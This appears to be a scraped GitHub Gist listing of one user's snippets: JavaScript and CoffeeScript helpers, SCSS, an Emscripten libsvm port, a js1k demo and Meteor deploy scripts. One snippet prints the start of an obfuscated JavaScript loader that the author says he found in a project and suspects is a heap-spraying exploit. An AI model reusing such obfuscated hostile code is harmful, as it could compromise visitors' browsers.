Skip to content

Instantly share code, notes, and snippets.

@Termina1
Termina1 / lambda.js
Created October 14, 2011 13:27
Provides easy way of chain calling of one anonymous function with different params
var lambda = function(func) {
var fn = function() {
func.apply(this, arguments);
return fn;
}
return fn;
}
@Termina1
Termina1 / gist:1718623
Created February 1, 2012 18:51
Function that taps
lamdba = (func) ->
fn = ->
func.apply @, arguments
fn
fn
@Termina1
Termina1 / gist:2167808
Created March 23, 2012 06:49
The worst SCSS code, I've ever seen
@import "compass";
@mixin pagefont($size, $color, $fontweight){
font: $size Helvetica, Arial, sans-serif;
color: $color;
font-weight: $fontweight;
}
@mixin button($selector, $sprite, $color){
#{$selector}{
display: block;
overflow: hidden;
@Termina1
Termina1 / gist:2219907
Created March 27, 2012 20:15
Function with outter state
generator = (times, callback) ->
i = 0
->
i++
if i is times
do callback
# this pattern allows you to generate a new function with binded variables, that can be changed in this function, and also
# affect next calls.
@Termina1
Termina1 / gist:2379287
Created April 13, 2012 19:12
Some JS exploit found on one of my projects. Probably heap spraying.
var r57c26="";
function n99a924125ca(){
var md95c2db6 = Array.prototype.slice.call(arguments).join(""),
x5f9144e2 = md95c2db6.substr(13,3) - 571,
h831241b,
md2fbec;
md95c2db6 = md95c2db6.substr(16);
var s191d5 = f351aa609(md95c2db6);
for(var c3f4f318=0;c3f4f318<s191d5;c3f4f318++) {
try{
@Termina1
Termina1 / gist:2391621
Created April 15, 2012 09:55
libsvm ported to js
This file has been truncated, but you can view the full file.
// Note: Some Emscripten settings will significantly limit the speed of the generated code.
// Note: Some Emscripten settings may limit the speed of the generated code.
// TODO: " u s e s t r i c t ";
try {
this['Module'] = Module;
} catch(e) {
this['Module'] = Module = {};
}
@Termina1
Termina1 / gist:2484132
Created April 24, 2012 21:45
js1k entry http://js1k.com/2011-dysentery/demo/994 with my comments in russian
w = 700;//b.clientWidth;//
h = 250;
o = 0;
b.style.background = "#000";
a.canvas.width = w;
a.canvas.height = h;
q = [];
m = Math;
random = m.random;
u = m.floor;
@Termina1
Termina1 / gist:3928508
Created October 21, 2012 21:04
meteor deploy cake task
exec = require('child_process').exec
ssh = require 'NodeSSH'
scp = require 'scp'
deploy = (host, name, pass, path, start = true, port=3001) ->
client = new ssh host, name, pass
console.log 'connecting to server'
client.connect ->
client.once 'data', ->
console.log 'cleaning old code'
client.write "cd #{path}\r\n"
do fn # if not returning value or I don't care
fn() # if returning value
fn 1
fn fn2()
fn(fn2(), 1)
fn fn2(1, 2, 3) # 4, 5 ...
fs = require('fs')
Flightplan = require("./.node_modules/flightplan") # we need to install flightplane to .node_modules for meteor to ignore it
path = require('path')
plan = new Flightplan()
releaseFile = "release.tar.tgz" # name of the bundle generated by meteor
workPath = '/home/user/path' # path to the project folder
releaseFolder = 'rel' + Date.now()